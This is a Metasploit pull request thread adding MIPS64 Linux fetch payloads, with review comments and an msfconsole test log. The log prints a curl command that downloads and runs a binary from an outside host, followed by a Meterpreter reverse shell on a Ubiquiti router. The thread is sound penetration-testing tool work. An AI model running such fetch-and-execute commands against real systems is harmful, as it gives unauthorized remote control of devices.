Add MIPS64 Linux Fetch Payloads

[zeroSteiner]

This adds MIPS64 fetch based payloads to the existing x64 ones we originally added.

I was able to test the cmd/linux/http/mips64/meterpreter_reverse_tcp with a Ubiquiti USG. This is related to #18016 and my comment here.

Testing

• Use one of the new cmd/linux/http/mips64/* payloads
• Configure the datastore options and start the handler
• Generate the payload and run it
• Get a session

[zeroSteiner]

This size restriction was carried over from some of the other adapters. The adapters prior to the fetch payloads executed the payload in the command instead of fetching it from a server. For that reason, the command could grow quite large depending on the payload that was selected. The fetch payloads place the adapted payload into an executable binary and request it from a server, so the executed command does not contain it and this the size doesn't matter.

[smcintyre-r7]

You need to add the new payloads to the specs.

[bwatters-r7]

msf6 > use payload/cmd/linux/http/mips64/meterpreter_reverse_tcp
msf6 payload(cmd/linux/http/mips64/meterpreter_reverse_tcp) > show options

Module options (payload/cmd/linux/http/mips64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      KvMWXTbj         no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST       0.0.0.0          yes       Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST                                yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


View the full module info with the info, or info -d command.

msf6 payload(cmd/linux/http/mips64/meterpreter_reverse_tcp) > set FETCH_SRVHOST 192.168.1.6
FETCH_SRVHOST => 192.168.1.6
msf6 payload(cmd/linux/http/mips64/meterpreter_reverse_tcp) > set LHOST 192.168.1.6
LHOST => 192.168.1.6
msf6 payload(cmd/linux/http/mips64/meterpreter_reverse_tcp) > set verbose true
verbose => true
msf6 payload(cmd/linux/http/mips64/meterpreter_reverse_tcp) > to_handler

[*] Command to run on remote host: curl -so /tmp/OAuhefDppmsz http://192.168.1.6:8080/JNadUtp7WutSvvbMBB9kcg; chmod +x /tmp/OAuhefDppmsz; /tmp/OAuhefDppmsz &
[*] Payload Handler Started as Job 0
msf6 payload(cmd/linux/http/mips64/meterpreter_reverse_tcp) > 
[*] Fetch Handler listening on 192.168.1.6:8080
[*] HTTP server started
[*] Adding resource /JNadUtp7WutSvvbMBB9kcg
[*] Started reverse TCP handler on 192.168.1.6:4444 
[*] Client 192.168.1.1 requested /JNadUtp7WutSvvbMBB9kcg
[*] Sending payload to 192.168.1.1 (curl/7.26.0)
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.1:47658) at 2023-06-01 11:30:45 -0500

msf6 payload(cmd/linux/http/mips64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : 192.168.1.1
OS           : Debian 7.11 (Linux 3.10.20-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : mips64/linux
meterpreter > shell
Process 3213 created.
Channel 1 created.
cat /proc/cpuinfo
system type		: UBNT_E120
machine			: Unknown
processor		: 0
cpu model		: Cavium Octeon+ V0.1
BogoMIPS		: 1000.00
wait instruction	: yes
microsecond timers	: yes
tlb_entries		: 64
extra interrupt vector	: yes
hardware watchpoint	: yes, count: 2, address/irw mask: [0x0ffc, 0x0ffb]
isa			: mips1 mips2 mips3 mips4 mips5 mips64r2
ASEs implemented	:
shadow register sets	: 1
kscratch registers	: 0
core			: 0
VCED exceptions		: not available
VCEI exceptions		: not available

processor		: 1
cpu model		: Cavium Octeon+ V0.1
BogoMIPS		: 1000.00
wait instruction	: yes
microsecond timers	: yes
tlb_entries		: 64
extra interrupt vector	: yes
hardware watchpoint	: yes, count: 2, address/irw mask: [0x0ffc, 0x0ffb]
isa			: mips1 mips2 mips3 mips4 mips5 mips64r2
ASEs implemented	:
shadow register sets	: 1
kscratch registers	: 0
core			: 1
VCED exceptions		: not available
VCEI exceptions		: not available

exit
meterpreter > 

[smcintyre-r7]

Specs have been added!

[bwatters-r7]

Release Notes

Add MIPS64 Linux Fetch Payloads